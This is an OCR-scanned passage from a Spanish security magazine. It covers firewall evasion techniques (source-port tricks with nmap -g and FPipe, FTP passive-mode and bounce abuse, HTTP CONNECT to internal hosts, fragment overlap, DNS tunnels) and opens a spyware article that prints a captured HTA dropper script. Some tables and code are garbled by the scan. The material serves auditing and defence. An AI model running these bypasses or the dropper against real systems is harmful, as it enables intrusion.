mirando con frecuencia en la IP de ori-
gen, la IP de destino, el puerto de ori-

gen y el de destino de cada paquete,
para decidir si enviarlo o bloquearlo.
Para crear una regla sencilla de
acceso que permita a los usuarios de
una red (interno) navegar por los sitios
web de Internet (externo), necesita-
mos una regla para los paquetes de
salida (la solicitud HTTP) y una regla
para los de entrada (la respuesta del
servidor web). Para crear una regla
apropiada tenemos que saber que,
por defecto, un servidor web basado
en HTTP esta escuchando en el 80/
TCP y el puerto de origen elegido por

Tabla 2. La lista minima de acceso para el trafico HTTP

IP de Origen | IP de Destino | Puerto de Puerto de Descripcion
Origen Destino

Interno Externo
2 Externo Interno
& Cualquiera Cualquiera

el cliente HTTP (el buscador web) no
es predecible, pero es generalmente
mayor que 1024. La Tabla 2 muestra
una lista de acceso minima en un ca-
SO semejante.

A primera vista, este conjunto de
reglas podria no parecer perjudicial.
La regla 1 permite las consultas
HTTP salientes y la regla 2 permite
los paquetes de respuesta. La terce-
ra regla esta ahi para bloquear todo
el trafico restante, y por tanto se le
llama la regla de limpieza. Sin em-
bargo, una observacion detallada de
la regla 2 nos muestra que un paque-
te originado desde Internet (externo)
y destinado a la red interna (interno)
con un puerto de origen 80 y un
puerto de destino mayor que 1024
pasa por el filtro de paquetes.

A este se le llama puerto mayor o
un ataque del puerto de origen, pues
el ataque esta basado en el hecho
de que un atacante solo necesita
modificar su cliente para utilizar un
puerto reconocido como el 80/TCP
como puerto de origen, para ser
capaz de atacar servicios detras de
un cortafuegos que escucha en los
puertos mayores. Algunos servicios
interesantes de escucha en los puer-
tos TCP mayores son el XWindow
(6000-6063/TCP), el Windows Ter-
minal Server (3389/TCP), y muchos
puertos de aplicaciones web como el

>1024/TCP 80/TCP Permitir Permitir la consulta HTTP
que sale desde el cliente

80/TCP >1024/TCP Permitir Permitir la respuesta del ser-
vidor a una consulta HTTP

Cualquiera Cualquiera Denegar Regla de Limpieza

Tabla 3. Un set de reglas de trafico HTTP para un cortafuegos estatico

IP de Ori- | IP de Des- | Puerto de Puerto de |Indicador ACK Descripcion
gen tino Origen Destino requerldo

Interno Externo

Interno

2 Externo

3 Cualquiera

80/TCP

Cualquiera Cualquiera

>1024/TCP  80/TCP

>1024/TCP  Si

Cualquiera —

www.hakin9.org

Permitir la consulta
HTTP que sale desde
el cliente

Permitir

Permitir ~ Permitir la respuesta
del servidor a una

consulta HTTP

Denegar Regla de limpieza
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Cliente Servidor
—
—
—
—
—
=
| Datos | |Comando | Datos | |Comando |
>1024 1 > 21
L
>1024 |« 8 20
L= |
Figura 2. Como funciona el FTP activo
Cliente Servidor
—
—
—
=
=
| Datos | | Comando | | Datos | | Comando |
>1024 1 > 21
L |
>1024 |« 2 21
|
>1024 3 » >1024
L~ 1
>1024 [€ 4 >1024

Figura 3. Cémo funciona el FTP pasivo

Jakarta Tomcat (8080/TCP) y el Bea
Weblogic (7001/TCP).

Para comprobar si nuestro
cortafuegos es vulnerable a este
ataque, podemos utilizar nmap con
la opcidn -g, diciéndole que utilice
un puerto de origen definido. El Lis-

tado 9 muestra la diferencia entre la
exploracion normal y la del puerto
de origen.

Como podemos observar, hay
otro puerto abierto (el 6000/TCP)
que fue detectado utilizando una
exploracion sencilla en el puerto de

Tabla 4. Un set de reglas para permitir el FTP activo

IP de Ori- |IP de Des- |Puerto de Puerto de |Indicador ACK | Accion Descripcion
gen tino Origen Destino requerldo
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1 Interno Externo >1024/TCP  21/TCP

2 Externo Interno 21/TCP >1024/TCP  Si
3  Externo Interno 20/TCP >1024/TCP No
4 Interno Externo >1024/TCP  20/TCP Si
5 Cualquiera Cualquiera Cualquiera  Cualquiera —

www.hakin9.org

origen. No obstante, el intruso no es
capaz de conectar con este puerto,
al menos que el puerto de origen del
cliente se situe en el 80/TCP.

El método mas simple para es-
tablecer una conexion del puerto
de origen es utilizar la FPipe del
Foundstone. La FPipe es una herra-
mienta de Windows, pero también
funciona con Linux a través del
Wine. Se ejecuta con las siguientes
opciones:

> FPipe -1 100 -s 80 <«
-r 6000 192.168.0.1

que abriran una escucha en el puer-
to local 100. Todos los paquetes
enviados a este puerto alcanzaran el
puerto de origen 80 y seran reenvia-
dos ala 192.168.0.1:6000.

Si ponemos a prueba un corta-
fuegos contra los ataques al puerto
de origen, podriamos tener en cuen-
ta la ejecucion de nuestras pruebas
con los puertos de origen 53 (DNS),
20 (FTP) y 88 (Kerberos), ya que
por la naturaleza de estos protoco-
los algunos cortafuegos tienen es-
casas reglas de filtrado para ellos.
Como ejemplo podemos citar una
vez mas al Checkpoint FW1, que
hasta la version 4.1 tuvo las llama-
das Reglas Implicitas, que permiten
el trafico DNS de cualquier parte a
cualquier parte.

La utilizacion por parte de Micro-
soft del Filtro IPSec que puede ser
configurado como un cortafuegos
local tiene una vulnerabilidad simi-
lar. Hay una regla de cortafuegos
incrustada e invisible, que permite
todo el trafico entrante con el puerto
de origen 88 (Kerberos). Para preve-
nir este ataque es necesario hacer
cambios en el registro.

Permitir Canal de Comandos
Permitir Canal de Comandos
Permitir Canal de datos
Permitir Canal de datos
Terminar  Regla de limpieza
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Para impedir que un atacante es-
tablezca conexiones con los siste-
mas internos, estimulando asi una
respuesta a una consulta previa,
es importante que un cortafuegos
diferencie entre un paquete de
respuesta y un paquete pensado
para establecer una nueva sesion.
Por tanto, el cortafuegos puede
examinar los diferentes indicado-
res dentro de una cabecera TCP.
Como cada nueva sesion TCP/IP
comienza con un conjunto de indi-
cadores SYN y todos los paquetes
siguientes tienen como minimo un
conjunto de indicadores ACK, hay
un atributo distinto para el corta-
fuegos. Ademas, la tabla de estado
interna ayuda a seguir de cerca las
sesiones, especialmente para la
comunicacion basada en UDP.

Como podemos observar en la
Tabla 3, la respuesta de un servi-
dor HTTP sdlo sera trasmitida si la
cabecera TCP tiene el conjunto de
indicadores ACK. En este caso, el
ataque al puerto de origen ya no fun-
cionara y el intruso tiene que buscar
otras técnicas.

Uno de los protocolos mas utiliza-
dos en la comunicacion de Internet
es el File Transfer Protocol (FTP).
Hay dos maneras diferentes en las
que puede trabajar un FTP, de mo-
do activo y pasivo (ver Recuadro
Los modos FTP activo y pasivo).
La diferencia principal entre los
dos es la manera en que se esta-
blece la comunicacion. Mientras
esta en modo activo, el cliente FTP
establece el canal de comandos,
y el servidor establece el canal
de datos. En modo pasivo, ambos
canales son establecidos por el
cliente FTP.

El ataque contra el FTP ac-
tivo es otro tipo de ataque del
puerto de origen. En este caso,
sin embargo, el FTP activo fuer-
za al cortafuegos a que permita
los paquetes entrantes con un
conjunto de indicadores SYN pa-
ra el canal de datos (ver Tabla 4
para un ejemplo del set de reglas).

nc ftp.hakin9.org 21
220-Welcome to hakin9.org.

user anonymous

pass secret
230 Login successful.

pasv

#
<
>
< 331 Please specify the password.
>
<
>
<

Listado 10. La comunicacién del FTP pasivo

227 Entering Passive Mode (192,168,200,23,230,242

nc ftp.hakin9.org 21
220-Welcome to hakin9.org.

331 Please specify the password.

#

<

> user anonymous
<

> pass secret

<

230 Login successful.

4

< 500 command not understood: <«

Listado 11. La apertura de un puerto mediante el abuso del FTP pasivo

Entering Passive Mode (192,168,200,23,0,2)

' AAAAAAAAAARAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAARAAAAAARAAAAAA227 <+
Entering Passive Mode (192,168,200,23,0,22)"

Eso significa que incluso si el
cortafuegos esta examinando el
indicador SYN, esto no impide que
el intruso establezca una conexion
desde el puerto de origen 20 hacia
cualquier servicio mayor que 1024.

Para comprobar si un cortafuegos
es vulnerable a este tipo de ataques,
podemos utilizar nmap como hicimos
en el ultimo ejemplo, pero esta vez
con laopcién -g 20 envez de la -g so.
Para establecer una conexion con un
servicio de puerto mayor, la FPipe se
puede utilizar otra vez para modificar
el puerto de origen.

La mayoria de los servidores FTP
actualmente soportan el modo pa-
sivo, pero por desgracia muchos
clientes FTP no lo soportan (como
el cliente FTP predeterminado de
Microsoft). Sin embargo, incluso la
utilizacion del FTP pasivo podria
no ser suficiente para proteger un
sistema contra el acceso indeseado
a los sistemas internos. Observemos
la comunicacion FTP en el modo pa-
sivo. Para mayor legibilidad utiliza-
remos un netcat para establecer la
conexion (ver Listado 10).

Puerto 172,16,1,5,0,22 —

> ==

< =
Fallo en la conexién -
172.16.1.2

[—]

i

E=E

-
172.16.1.5

Figura 4. Coémo funciona la exploracion de rebote del FTP
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Las primeras seis lineas constitu-
yen una comunicacién FTP estandar
para conectarse y logarse en un
servidor FTP. En la séptima linea
se le comunica al servidor FTP que
utilice el modo pasivo para transferir
datos. Como respuesta, el servidor
FTP le indica al cliente (en la linea
ocho) qué direccién IP y puerto se
abre para aceptar una conexion que
establezca el canal de datos.

Si hay un cortafuegos delante del
servidor FTP, el cortafuegos no sa-
be qué puerto sera escogido por el
servidor FTP para el canal de datos.
Por tanto, tiene dos opciones de per-
sonalizacion de su set de reglas para
que permita la comunicacion:

* La primera opcion es abrirle al
servidor FTP todos los puertos
mayores para las conexiones en-
trantes. Esta opcién no es buena,
especialmente si uno tiene varios
servidores FTP en la red, pues
no es segura en absoluto.

« La segunda opcién para el
cortafuegos es analizar la co-
municacion entre el cliente FTP
y el servidor. Si el cortafuegos
ve un comando con formato 227
Entering Passive Mode
1P, Hbyte,Lbyte) dentro del canal
de comandos enviados desde
el servidor hacia el cliente, esta
abrira una regla temporal que
permita una conexion entrante
en la IP y puerto definidos en el
mensaje.

(1P,IP,IP,

Con semejante configuracién uno
puede engafiar a un cortafuegos
para que abra el puerto que uno es-
coja. Ya que los parametros estan en
un formato 1p,1Pp,1P, 1P, Hbyte,Lbyte,
enviado al cliente desde un servidor
FTP dentro de un canal de control
FTP, el intruso puede intentar forzar
al servidor FTP para que envie un
mensaje habil. Esto se puede llevar
a cabo provocando un mensaje de
error que contenga una cadena
pasiva.

Si un comando no existente se
le envia a un servidor FTP, en algu-
nos casos se devolvera un mensaje
de error que contenga el comando
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La fragmentacién

Cada sistema operativo intenta llevar el tamafio del paquete IP al maximo de tamafo
de un cuadro de la tecnologia fundamental de la capa 2. Para la Ethernet, la talla maxi-
ma es de 1518 bytes. A esta se le llama la Unidad Maxima de Transferencia (Maximum
Transfer Unit o MTU). Debido a que la estructura misma de la Ethernet necesita 18
bytes para su informacién de cabecera, el espacio disponible para el paquete IP es
de 1500 bytes.

En su recorrido por una red, un paquete IP puede pasar por un router que solo
es capaz de administrar paquetes mas pequefos, debido a las limitaciones de su
tecnologia fundamental de la capa 2. Para poder enviar paquetes a través de seme-
jante router, que tiene una MTU mas pequefia que 1500 bytes, necesitamos dividir el
datagrama IP en varios paquetes menores. A esto se le llama fragmentacion.

En el extremo que recibe, el servidor de destino tiene que reunir todos los frag-
mentos IP y colocarlos en el orden correcto. A este proceso se le llama reconstruc-
cion. El proceso de reconstruccion necesita de algunos datos para poder reunificar los
paquetes en el orden correcto y no mezclar los fragmentos de diferentes conexiones
destinadas al mismo servidor.

Hay dos campos principales dentro de la cabecera IPv4, elementales en el pro-
ceso de remontaje, que son la Compensacién de fragmentos y la Identificacioén (ID).
Cada fragmento del mismo datagrama tiene el mismo campo de ID. Esto permite que
la pila IP reconozca todos los paquetes que pertenecen al mismo datagrama. Para
colocar los paquetes en el orden apropiado se utiliza el campo de Compensacion de
fragmentos. El primer fragmento de un paquete tiene una compensacion de cero. La
compensacion de cada fragmento siguiente aumenta en el valor de la longitud de la
parte de los datos del fragmento. El bit Mas fragmentos (MF) de la cabecera IP indica

\

si le siguen mas fragmentos o si el fragmento actual es el dltimo.

enviado, por ejemplo command not
understood  AAAAAAAAAAA227
Entering Passive Mode 1,2,3,4,0,22.
Si comprobamos que el tamario del
mensaje de error es demasiado
grande para un paquete IP, el pa-
quete inexistente estara separado,
mientras que la cadena del comando
pasivo estara en el proximo paque-
te, entonces ya podriamos abrir un
puerto adicional en el cortafuegos.

Si el cortafuegos lee el primer pa-
quete que contiene los caracteres &,
sencillamente lo pasara. Pero si lee
la cadena 227 Entering Passive Mode
(192,168,200,23,0,22) creara una re-
gla de permiso temporal para que el
cliente FTP se conecte al puerto 22
del servidor 192.168.200.23. Tam-
bién se utiliza un mecanismo similar
de creacién de reglas de filtrado di-
namicas para otros protocolos como
el sqlnet de Oracle.

La exploracion de rebote del FTP
(ver Figura 4) utiliza funciones del
FTP activo para explorar sistemas
detras de un cortafuegos. Dentro

del FTP activo el servidor FTP esta-
blece un canal de datos mediante la
conexion con un puerto abierto del
cliente FTP. Debido a que el servidor
no sabe en qué puerto el cliente esta
a la escucha del canal de datos, el
cliente tiene que proporcionarle esta
informacion al servidor dentro del
canal de comandos.

Esto se hace a través del coman-
do rorT. La sintaxis del porT €S porRT
1P,1P,1P,1P,Hbyte,Lbyte COMO la porT
192,168,100,10,0,123, que son simila-
res a la del comando rasv. Con esta
informacion, el servidor es capaz
de establecer una conexién con la
192.168.100.10:123, si los datos de-
ben ser transferidos.

Por definicidn, no hay restriccio-
nes para que la direccién IP sea la
del cliente. Al contrario, es posible
utilizar cualquier otra direccion IP en
algunos servidores FTP. Después
de emitir una orden como la dir, el
servidor intenta conectarse a la IP
definida como: puerto. Dependien-
do del estado del puerto (abierto o
cerrado), el servidor le devolvera al
cliente un cédigo de estado de éxi-
to o de error. Analizar el codigo de

www.hakin9.org



Desvio de los cortafuegos

estado permite que el atacante vea
si los puertos estan abiertos o cerra-
dos. nmap admite la exploracién de
rebote FTP y puede utilizarse de la
manera siguiente:

$ nmap -b \
anonymous@myftpserver:21 \

targetserver

Los cortafuegos de aplicacion a me-
nudo funcionan como proxies HTTP,
ya sean trasparentes o no para el
trafico de filtrado HTTP. El problema
de un proxy HTTP es que si no esta
bien configurado, puede permitir el
acceso a los servidores internos.

La manera mas facil de probar
si un cortafuegos es vulnerable al
rebote de proxy es establecer la in-
terfaz interna del cortafuegos como
un proxy HTTP e intentar navegar en
servidores web internos:

La configuracion del proxy para
lynx:

# http proxy="http://myfirewall.de:8080"
# no_proxy='localhost'

# export http proxy no_proxy

La navegacién por sitios web inter-
nos:

# lynx 192.168.100.20

Un aspecto relevante sobre esta téc-
nica es que incluso las direcciones
IP privadas pueden estar disponibles
desde el exterior, ya que el atacante
sblo se conecta a la direcciéon IP
oficial del cortafuegos y consulta al
demonio HTTP para que se conecte
al objetivo. Como el demonio HTTP
también conoce las direcciones IP
privadas internas, puede conectarse
a ellas.

También merece la pena inten-
tar obtener acceso a los diferentes
puertos de los servidores internos:

# lynx 192.168.100.20:25

Sin embargo, algunos buscadores
como el Mozilla Firefox estan blo-
queando por defecto esas consultas
en el lado del cliente. Por tanto se

Cabecera IP : Cabecera TCP | Datos...

Cabecera IP | Mas datos...

Figura 5. El remontaje normal de los paquetes TCP

Superposicion

. |

1

Cabecera IP : Cabecera TCP | Datos 1
1

1

T 1

, Cabecera \

Cabecera IP | TCP falsa Datos \

Figura 6. El ataque de superposicién de los fragmentos

recomienda comprobarlo con netcat
o telnet.

La opcion connecr de HTTP es
normalmente utilizada como tunel
para el trafico SSL a través de un
servidor proxy. El proxy, por tanto,
sencillamente se abre para la sesion
TCP entre el proxy y el servidor de
destino y envia los datos del cliente.
Por desgracia, algunos cortafuegos
no comprueban la validez de las IPs
y puertos de destino, y por lo tanto
abren grandes agujeros que son uti-
lizados por los atacantes.

Los cortafuegos deben der insta-
lados de manera que los puertos ad-
ministrativos soélo estén disponibles
desde las interfaces internas. Esto
deberia impedir que los atacantes,
por ejemplo, ejecuten exploits contra
el demonio que se registra o que
adivinen los logins y contrasefas del
cortafuegos. La debilidad connect
permite a un atacante que establez-
ca una conexion con la interfaz ad-
ministrativa de las redes externas:

# nc firewall 8080
CONNECT 127.0.0.1:22 HTTP/1.0
SSH-1.99-OpenSSH_3.8pl

Mediante el uso del método connEecr,
un atacante también puede estable-
cer conexiones a sistemas internos.
Al igual que el ataque de rebote del
proxy, este permite alcanzar los sis-

temas internos con direcciones IP
privadas:

# nc firewall 8080
CONNECT 10.1.1.100:25 HTTP/1.0
220 mailserver ESMTP

Podemos ver claramente que la
comprobacion de las vulnerabilida-
des connecT en un cortafuegos es
muy facil. Se puede utilizar la misma
técnica para obtener informacion
sobre los rangos IP internos y ex-
plorar detras de un firewall, de forma
similar al ataque de la exploracion de
rebote FTP. El hecho de que en el
pasado los productos lideres de cor-
tafuegos, tales como el Checkpoint
FW1 y el Astaro Secure Linux, fue-
sen vulnerables a los ataques de la
HTTP-Connect es muy interesante.

El objetivo de un ataque de super-
posicion de fragmentos es sobrees-
cribir la informacion de la cabecera
UDP o TCP después de que el cor-
tafuegos haya tomado la decision
basada en el primer fragmento. Si
la fragmentacion ocurre dentro de
la comunicacion basada en TCP o
UDP, solo el primer fragmento IP
contiene tal informacion como el
puerto de destino de la cabecera
TCP/UDP. Por ejemplo, si hay una
regla de cortafuegos que permita las
conexiones con el puerto 80/TCP
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Tabla 5. Algunos ejemplos de vulnerabilidades de cortafuegos

Checkpoint Secure Platform

Vulnerabilidad del Cruce de Reglas del

Cortafuegos

Checkpoint VPN-1
Checkpoint VPN-1
Cisco 10S Firewall

Exceso del Buffer ASN.1
Exceso del Buffer ISAKMP
Exceso del Buffer de Autenticacion

Proxy

Cisco Catalyst 6500/6700

Vulnerabilidad del Cruce del FW Servi-

ces Module ACL

de un servidor web, pero rechace
las conexiones al demonio de Se-
cure Shell del mismo servidor en
el puerto 22/TCP, se puede llevar a
cabo un ataque de superposicion de
fragmentos.

El atacante esta fragmentando
un datagrama IP (ver Recuadro La
fragmentacion) y asignando el 80
como puerto de destino dentro de
la cabecera TCP. El fragmento lle-
ga al cortafuegos y se corresponde
muy bien contra la regla Permitir. Ya
que todos los fragmentos IP de un
datagrama tienen la misma IP e ID,
el cortafuegos pasa a todos los frag-
mentos que siguen con la misma ID
y la misma IP de origen y de destino
que el primer fragmento.

La compensacion del primer da-
tagrama es cero y el extremo de este
fragmento esta por ejemplo en el byte
128. La compensacion del segundo
fragmento ahora debe tener el valor
que le sigue directamente al byte 128.
Si esta es menor que 128, una parte
del primer fragmento sera sobreescri-
ta. A esto se le llama compensacion
negativa. Si el atacante calcula la
compensacion del segundo frag-
mento de manera que sobreescriba
el puerto de destino de la cabecera
TCP dentro del primer fragmento, es
posible cambiar el valor del puerto de
80 a 22 (ver Figuras 5y 6).

Después del remontaje completo,
ya sea en el cortafuegos o en el host
de destino, se establece la conexion
con el puerto 22/TCP en vez de con
el puerto 80/TCP. El cortafuegos se
ha desviado con éxito.

Hay muchas maneras de utilizar
los cortafuegos de ataques de frag-
mentacion. Veamos en el Recuadro

hakin9 N° 1/2006

En la Red un vinculo a un ataque in-
teresante contra el Filtro IP de BSD.

Los atacantes pueden querer comu-
nicarse a través de un cortafuegos,
por ejemplo, tener un caballo de Tro-
ya o una puerta trasera instalados
en un sistema interno, que se co-
muniquen con el sistema del intruso.
Este envia un comando al troyano y
quiere que le reenvien los resultados
de los comandos.

Si las reglas de filtrado en un cor-
tafuegos sélo permiten protocolos
comunes como HTTP, FTP y DNS
para el trafico saliente, el atacante
tiene que utilizar uno de estos pro-
tocolos para la comunicacion. Por
desgracia para el atacante, algunos
sistemas de cortafuegos modernos
estan haciendo una comprobacion
de sintaxis RFC para el trafico de
capas de aplicacién. Por lo tanto, si
la comunicacién no es compatible
con RFC, serd bloqueada por el
cortafuegos.

Los intrusos que saben de esto,
estan realizando ataques de tunel
con herramientas que no violan las
definiciones RFC, envuelven los

Sobre el autor

Oliver Karow trabaja como Consultor
Jefe de Seguridad para un comercio
dedicado a esta rama. Actualmente
su trabajo estda centrado en los cor-
tafuegos, la tecnologia IDS/IPS, las
auditorias de seguridad y los tests
de penetracion. Oliver también esta
etudiando Tecnologia de la Informa-
cion en una universidad alemana a
distancia. Trabaja en la IT desde 1994,
y a partir de 1999 se ha dedicado a la
seguridad IT.

\

datos en comandos de protocolo
valido. Si los datos envueltos ade-
mas estan codificados y encriptados
utilizando caracteres 7-bit ASCII, la
deteccion mediante un cortafuegos
es practicamente imposible.

Los tuneles basados en HTTP y
DNS son buenos ejemplos. Mientras
que las herramientas para los tune-
les HTTP compatibles con RFC co-
mo la rwwwshell (ver Recuadro En
la Red) son relativamente faciles de
utilizar, y por tanto estaran disponi-
bles durante muchos afios, los tune-
les basados en DNS que estan bien
hechos son un poco mas dificiles.

Un tdnel DNS que utiliza una
técnica llamada namedropping (en-
tre otras) se basa en el Protocolo
del Servidor de Transporte (Name
Server Transport Protocol o NSTX)
y necesita una compatibilidad NSTX
del servidor y del cliente DNS, por lo
que el servidor tiene que ser autori-
tario para un dominio (ver Recuadro
En la Red). Vamos a imaginar que
el atacante tiene autorizacién para
el dominio baddomain.com y posee
un sistema comprometido dentro de

p
En la Red

protocolos validos de Internet,

tacion de tanel, rwwwshell,

cion de tunel.

*  http://cert.uni-stuttgart.de/archive/bugtraq/2001/04/msg00121.html — Thomas Lo-
patic, Un ataque fragmentario contra IP Filter,

*  http://www.ccc.de/congress/2004/fahrplan/files/221-firewallpiercing _21c3.pdf
— Maik Hensche & Frank Becker — Firewall Piercing — Explotacién creativa de

*  http://www.thc.org/download.php ?t=r&f=rwwwshell-2.0.pl.9z — HTTP implemen-

*  http://www.csnc.ch/static/services/research/dnstunnel.html — DNS implementa-
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una red protegida por un cortafue-
gos. El atacante quiere ser capaz
de controlar remotamente el sistema
desde fuera, de enviar comandos y
recibir respuestas.

Si el cliente quiere transferir
datos al servidor, este consulta un
nombre de host habil como el b2xp
dmVylGthecm93.baddomain.com, en
el que b2xpdmVylGthcm93 son los
datos codificados. Debido a que el
servidor interno de nombres no es
responsable de este dominio, envia-
ra la consulta al servidor NSTX del
atacante. El servidor de nombres
del atacante ahora puede extraer y
descodificar el nombre de host de la
consulta.

Para poder reenviar datos al
cliente, el servidor de nombres del
atacante coloca los datos en regis-
tros de recurso TXT. Es un registro
de texto libre que puede ser utilizado
con diferentes propdsitos, por ejem-
plo para dar a conocer claves PGP
publicas. Por tanto, no es facil para

un cortafuegos distinguir entre un
registro TXT valido y un mensaje
oculto de un troyano.

Para mas informacion acerca de
los ataques en tunel se recomienda
leer el articulo Firewall Piercing (ver
Recuadro En la Red).

Las vulnerabilidades

de Cortafuegos

La seguridad de una red falla si lo
hace la seguridad de un cortafue-
gos. Si el mismo cortafuegos es
vulnerable a los ataques como el
exceso del buffer, la desviacion
puede hacerse sin problemas,
pues un atacante puede recon-
figurar el cortafuegos para sus
necesidades. En el caso de una
vulnerabilidad que le de a un ata-
cante una cubierta de comando
remoto, todos los ataques contra
los sistemas internos se originaran
de la direccion IP del cortafuegos.
Si no hay un entorno de varios ni-
veles de cortafuegos en el lugar,

no habra mas proteccion para la
red disponible.

Desafortunadamente, las vulne-
rabilidades ejecutables de manera
remota en los productos lideres de
cortafuegos son descubiertas muy
a menudo. Sélo tienes que observar
en  http://www.securityfocus.com/
para tener una visén general de
las vulnerabilidades existentes (ver
Tabla 5).

Conclusion

Hay muchas maneras de desviar un
cortafuegos. Algunas de ellas son
consecuencia de las pocas habili-
dades del producto, otras se deben
a la mala configuracién, o a vulne-
rabilidades del mismo producto. Sin
embargo, el despliegue de varios
niveles de la tecnologia estatica de
cortafuegos, asi como las auditorias
regulares del entorno de los corta-
fuegos pueden ayudar a establecer
una buena proteccion para las redes
internas. ®
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Métodos de infeccion

del Spyware

Christiaan Beek =

Grado de dificultad
o0

@ protegernos frente a ellos.

os resultados recientes de las inves-
L tigaciones hechas por organizaciones

muy conocidas, como CSI/FBI mues-
tran que casi el 80 por ciento de los orde-
nadores estan infectados por spyware. La
cantidad de spyware sigue creciendo, debido
a que los autores del mismo cada vez utilizan
habilidades tecnoldgicas mas modernas. Co-
mo se trata de un negocio muy lucrativo, el
crimen organizado invierte en personal y en
tecnologia. Para las organizaciones, es dificil
protegerse frente a esta amenaza. Por un la-
do, tienen que incorporar soluciones que pre-
vengan la infeccion, pero por otro, la solucion
tiene que ser capaz de limpiar los sistemas
informaticos ya infectados.

Echemos un vistazo a las técnicas que el
spyware utiliza en la actualidad para sistemas
Windows. Con cada técnica descrita, mencio-
naremos las soluciones para detectar y evitar
la infecciodn, y eliminar la amenaza. Este arti-
culo no debe entenderse como un compendio
completo sobre spyware, sino como un vistazo
sobre unas cuantas técnicas interesantes que
han sido desarrolladas con la invenciéon del
spyware, cada una con diferentes propdsitos,
y sobre los métodos manuales de proteccion
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(El proposito principal del spyware es la recoleccion de datos
demograficos e informacion de uso, pero también en ocasiones
datos privados. Este tipo de programas estan incluidos
generalmente como un componente oculto, o son descargados
involuntariamente desde Internet. Se instalan y ejecutan sin
que el usuario lo sepa. Veamos qué métodos utilizan estos
programas para infectar los sistemas Windows, y como podemos

contra estas técnicas (ya que las herramientas
automatizadas no pueden ayudar a todos los
usuarios con estos asuntos).

Object Data Tags

Las Object Data Tags son etiquetas que espe-
cifican datos y parametros para determinados
objetos insertados en documentos HTML y en
el cédigo que puede ser usado para mostrar/
manipular los datos. Un atacante remoto pue-
de crear un enlace URL especial que pueda
ejecutarse en el navegador web de la victima

p
En este articulo aprenderas...

* qué técnicas utiliza el spyware para infectar-
nos,

» como detectar la infeccion, eliminar la amena-
za y protegernos contra ella en el futuro.

Lo que deberias saber...

* deberias estar familiarizado con HTML/
JavaScript,

« deberias tener alguna experiencia como pro-
gramador.




Métodos de infeccion del spyware

Especies de Spyware

Pop-ups (ventanas emergentes)
Los pop-ups se usan para engafar al usuario y hacer que pulse sobre ellos. Pueden
estar incluidos en sitios web, en el correo electronico, incluidos dentro de otro software
o tomar la forma de barras de herramientas instaladas como extensiones de Internet
Explorer. Mucho software peer-to-peer contiene estos programas. Por ejemplo KaZaA
incluye GAIN (Gator) y Cydoor. GAIN registra las paginas que visitamos y muestra
anuncios en KaZaA que descarga de Internet. Cydoor descarga una gran lista de
URLs durante la instalacion de KaZaA y después las muestra cuando estemos nave-
gando por Internet.

Otro tipo de spyware utiliza el servicio de mensajeria de Windows (messenger ser-
vice) y muestra anuncios de texto (ver Figura 1). Los usuarios de Windows NT/XP/200x
pueden evitar facilimente estos problemas deshabilitando el servicio de mensajeria.

Dialers

Los dialers o marcadores cambian los ajustes de la conexion a Internet por via tele-
fénica sin que nos demos cuenta, de forma que en lugar de llamar a un proveedor de
Internet local, la llamada del usuario es redirigida a una conexion internacional muy
cara. Se usan con frecuencia como método de pago para el acceso a sitios web con
contenidos adultos o video-juegos. Al instalarse, por lo general se pide el consenti-
miento del usuario (ver Figura 2).

Browser hijackers — Secuestradores del navegador

Los secuestradores del navegador cambian los ajustes del navegador sin permiso del
usuario. Por lo general, afectan a la pagina de inicio y a la pagina de busqueda, pero
en ocasiones se afiaden también entradas a la carpeta de favoritos. El ejemplo mas
negativo de secuestradores del navegador es ISTbar. Instala la barra de herramientas
Tinybar, pero también instala muchos otros parasitos, entre los cuales hay alguno que
también muestra pop-ups.

Cookies Espia
Las cookies por lo general son utilizadas de forma legitima para permitir la identificacion
del usuario cuando regresa a un sitio web, pero también pueden ser utilizadas como
spyware. Algunos sitios web utilizan cookies para averiguar los habitos de navegacién
del usuario. La mayor parte de las veces estas son cookies enviadas por terceros — no
por el sitio web que estamos visitando (normalmente a través de banners de anuncios).
Afortunadamente, no son peligrosas — no pueden ser usadas para distribuir otro cédigo.
Empresas como DoubleClick ejecutan banners desde sus propios servidores y
los utilizan para leer cookies. Por eso, DoubleClick es capaz de detectar qué clientes
estan visitando determinados sitios web donde figuran sus banners.

Listado 1. Datos capturados a través de una alerta IDS

HTTP/1.1 200 OK

Date: Mon, 18 Apr 2005 12:27:30 GMTServer: <
Apache/1.3.33 (Unix) modﬁdeﬂate/l.O.Zl

Connection: close Transfer-Encoding: chunked

Content-Type: application/hta <script language=jscript>try{«
self.moveTo (5000,5000) ; function b2u(c) {var x=""; «
for (w=0;w<c.length;) {h=Array();for(e=0;e<8;e++){h[e]= «
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/" «
.indexOf (c.charAt (w++)); }x+=String. fromCharCode (h[0]<<10|h[1l] <

<<4|h[2]/4,h[2]<<14|h[3]<<8|h[4]*4|h[5]>4,h[5]<<12|h[6]<<6|h[7]);}return

x; }g=newActiveXObject ("Scripting.FileSystemObject"); fname= «
'c:\\q706634.exe';t=g.CreateTextFile (fname, true);t.Write('M2'); <«
t.Close();t=g.OpenTextFile ((fname), 8, false,true);t.Write (b2u( «
"""hkjhfksjdyuiuywejkrwje! ?{}{jiihfsdfhhdhfd[]] «
[kjsdjkajsikjsd) (gyam,mniuajkalkdfhksdkjfds78e98937ka89j2300j1l& <
*&kjkjskjdkdfse*jdjfsf98slkdkig9jaoiu

(v.0)

.

]

Figura 1. Tipico pop-up Messenger

Security Warning X
= i e

b b

—DUWILL BE CHARGEDE1.50 PER MINUTE.
CALLED NUMBER:

DATALINE LTD.. 1220 H, Masket Street Wiminglon, DE
13801, Coumdy of New Castie. USAYOU CONFIRM THAT:
11'ou are 18 years of age or clder 2]You are sithes the
subscrber of the [ineto which this computers
modsm it connected [the Line Subsciiber’, of you have
the Lina Subscriber'spemizsion b usa the Servca. YOU
UNBERSIN:)TM'E‘ 3] This compater's modem wil be

Subscrber vl b changed fie the dustion of this call sl
the b shiown sbove ™ tigred on &n unknown date/time
and distributed by

DATALNE LTD.

Publisher anthardicky vedied by Thawte Code Signing CA

Caution: DATALINE LTD. sscests that this conterd it sale.
*fou should onky instalview this content i you st
DATALINE LTD. to make that assestion.

[ &bways inast comtont bom DATALINE LTD,

et Nnn Mors Info.

Figura 2. Los usuarios a menudo
instalan dialers bajo su propio
consentimiento

dentro del contexto de seguridad
del sitio web albergado, una vez se
haya pulsado sobre el enlace. El
atacante explota esta vulnerabilidad
creando una pagina web maliciosa,
crackeando una pagina existente o
enviandosela a la victima como un
correo electronico HTML.

Veamos el Listado 1 que contiene
